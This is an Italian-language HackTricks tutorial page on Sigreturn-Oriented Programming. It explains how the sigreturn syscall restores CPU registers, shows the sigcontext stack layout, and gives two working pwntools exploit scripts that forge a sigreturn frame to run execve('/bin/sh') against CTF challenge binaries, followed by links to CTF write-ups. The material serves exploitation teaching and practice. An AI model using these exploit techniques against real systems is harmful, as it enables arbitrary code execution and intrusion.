SROP - Sigreturn-Oriented Programming
Reading time: 6 minutes
tip
Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.
Informazioni di Base
Sigreturn
è una syscall speciale utilizzata principalmente per ripulire dopo che un gestore di segnali ha completato la sua esecuzione. I segnali sono interruzioni inviate a un programma dal sistema operativo, spesso per indicare che si è verificata una situazione eccezionale. Quando un programma riceve un segnale, interrompe temporaneamente il suo lavoro attuale per gestire il segnale con un gestore di segnali, una funzione speciale progettata per occuparsi dei segnali.
Dopo che il gestore di segnali ha terminato, il programma deve riprendere il suo stato precedente come se nulla fosse accaduto. Qui entra in gioco sigreturn
. Aiuta il programma a tornare dal gestore di segnali e ripristina lo stato del programma ripulendo il frame dello stack (la sezione di memoria che memorizza le chiamate di funzione e le variabili locali) utilizzato dal gestore di segnali.
La parte interessante è come sigreturn
ripristina lo stato del programma: lo fa memorizzando tutti i valori dei registri della CPU nello stack. Quando il segnale non è più bloccato, sigreturn
estrae questi valori dallo stack, ripristinando effettivamente i registri della CPU al loro stato precedente alla gestione del segnale. Questo include il registro del puntatore dello stack (RSP), che punta all'attuale cima dello stack.
caution
Chiamando la syscall sigreturn
da una catena ROP e aggiungendo i valori dei registri che vorremmo caricare nello stack, è possibile controllare tutti i valori dei registri e quindi chiamare ad esempio la syscall execve
con /bin/sh
.
Nota come questo sarebbe un tipo di Ret2syscall che rende molto più facile controllare i parametri per chiamare altre Ret2syscalls:
{{#ref}} ../rop-syscall-execv/ {{#endref}}
Se sei curioso, questa è la struttura sigcontext memorizzata nello stack per recuperare successivamente i valori (diagramma da qui):
+--------------------+--------------------+
| rt_sigeturn() | uc_flags |
+--------------------+--------------------+
| &uc | uc_stack.ss_sp |
+--------------------+--------------------+
| uc_stack.ss_flags | uc.stack.ss_size |
+--------------------+--------------------+
| r8 | r9 |
+--------------------+--------------------+
| r10 | r11 |
+--------------------+--------------------+
| r12 | r13 |
+--------------------+--------------------+
| r14 | r15 |
+--------------------+--------------------+
| rdi | rsi |
+--------------------+--------------------+
| rbp | rbx |
+--------------------+--------------------+
| rdx | rax |
+--------------------+--------------------+
| rcx | rsp |
+--------------------+--------------------+
| rip | eflags |
+--------------------+--------------------+
| cs / gs / fs | err |
+--------------------+--------------------+
| trapno | oldmask (unused) |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate |
+--------------------+--------------------+
| __reserved | sigmask |
+--------------------+--------------------+
Per una spiegazione migliore controlla anche:
{{#ref}} https://youtu.be/ADULSwnQs-s?feature=shared {{#endref}}
Esempio
Puoi trovare un esempio qui dove la chiamata a signeturn è costruita tramite ROP (mettendo in rxa il valore 0xf
), anche se questo è l'exploit finale da lì:
from pwn import *
elf = context.binary = ELF('./vuln', checksec=False)
p = process()
BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015
frame = SigreturnFrame()
frame.rax = 0x3b # syscall number for execve
frame.rdi = BINSH # pointer to /bin/sh
frame.rsi = 0x0 # NULL
frame.rdx = 0x0 # NULL
frame.rip = SYSCALL_RET
payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf) # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
Controlla anche l'exploit da qui dove il binario stava già chiamando sigreturn
e quindi non è necessario costruirlo con un ROP:
from pwn import *
# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)
# Establish the target architecture
context.arch = "amd64"
# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)
# Start making our sigreturn frame
frame = SigreturnFrame()
frame.rip = 0x400185 # Syscall instruction
frame.rax = 59 # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0 # NULL
frame.rdx = 0x0 # NULL
payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack
target.sendline(payload) # Send the target payload
# Drop to an interactive shell
target.interactive()
Altri Esempi e Riferimenti
- https://youtu.be/ADULSwnQs-s?feature=shared
- https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop
- https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html
- Assembly binary che consente di scrivere nello stack e poi chiama la syscall
sigreturn
. È possibile scrivere nello stack un ret2syscall tramite una struttura sigreturn e leggere il flag che si trova nella memoria del binary. - https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html
- Assembly binary che consente di scrivere nello stack e poi chiama la syscall
sigreturn
. È possibile scrivere nello stack un ret2syscall tramite una struttura sigreturn (il binary ha la stringa/bin/sh
). - https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html
- 64 bit, no relro, no canary, nx, no pie. Semplice buffer overflow che sfrutta la funzione
gets
con mancanza di gadget che esegue un ret2syscall. La catena ROP scrive/bin/sh
nella.bss
richiamando di nuovo gets, sfrutta la funzionealarm
per impostare eax a0xf
per chiamare un SROP ed eseguire una shell. - https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html
- Programma assembly a 64 bit, no relro, no canary, nx, no pie. Il flusso consente di scrivere nello stack, controllare diversi registri e chiamare una syscall e poi chiama
exit
. La syscall selezionata è unasigreturn
che imposterà i registri e sposteràeip
per chiamare un'istruzione syscall precedente ed eseguirememprotect
per impostare lo spazio binario arwx
e impostare l'ESP nello spazio binario. Seguendo il flusso, il programma chiamerà di nuovo read in ESP, ma in questo caso ESP punterà alla prossima istruzione quindi passando un shellcode lo scriverà come la prossima istruzione ed eseguirà. - https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection
- SROP è utilizzato per dare privilegi di esecuzione (memprotect) al luogo dove è stato posizionato un shellcode.
tip
Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.